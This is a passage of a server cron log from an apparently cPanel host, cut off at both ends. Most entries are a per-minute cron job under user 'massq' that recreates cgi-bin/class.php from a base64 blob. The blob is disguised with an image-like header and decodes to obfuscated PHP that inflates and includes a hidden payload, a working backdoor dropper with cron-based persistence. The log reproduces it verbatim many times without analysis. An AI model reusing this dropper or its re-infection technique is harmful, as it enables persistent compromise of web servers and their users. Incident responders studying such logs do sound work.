"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:00:01 server CROND[15212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:00:01 server CROND[15213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:00:01 server CROND[15214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:00:01 server CROND[15219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:01:01 server CROND[15404]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 03:01:01 server CROND[15405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:01:01 server run-parts(/etc/cron.hourly)[15404]: starting 0anacron
Apr  7 03:01:01 server anacron[15418]: Anacron started on 2025-04-07
Apr  7 03:01:01 server anacron[15418]: Will run job `cron.daily' in 49 min.
Apr  7 03:01:01 server anacron[15418]: Will run job `cron.weekly' in 69 min.
Apr  7 03:01:01 server anacron[15418]: Jobs will be executed sequentially
Apr  7 03:01:01 server run-parts(/etc/cron.hourly)[15420]: finished 0anacron
Apr  7 03:02:01 server CROND[15479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:03:01 server CROND[15549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:04:01 server CROND[15623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:05:01 server CROND[15680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:05:01 server CROND[15681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:05:01 server CROND[15682]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 03:05:01 server CROND[15683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:06:01 server CROND[15788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:07:01 server CROND[15939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:08:01 server CROND[15992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:09:01 server CROND[16054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:09:01 server CROND[16055]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 03:10:02 server CROND[16127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:10:02 server CROND[16129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:10:02 server CROND[16130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:10:02 server CROND[16131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:11:01 server CROND[16244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:12:01 server CROND[16433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 03:12:01 server CROND[16434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 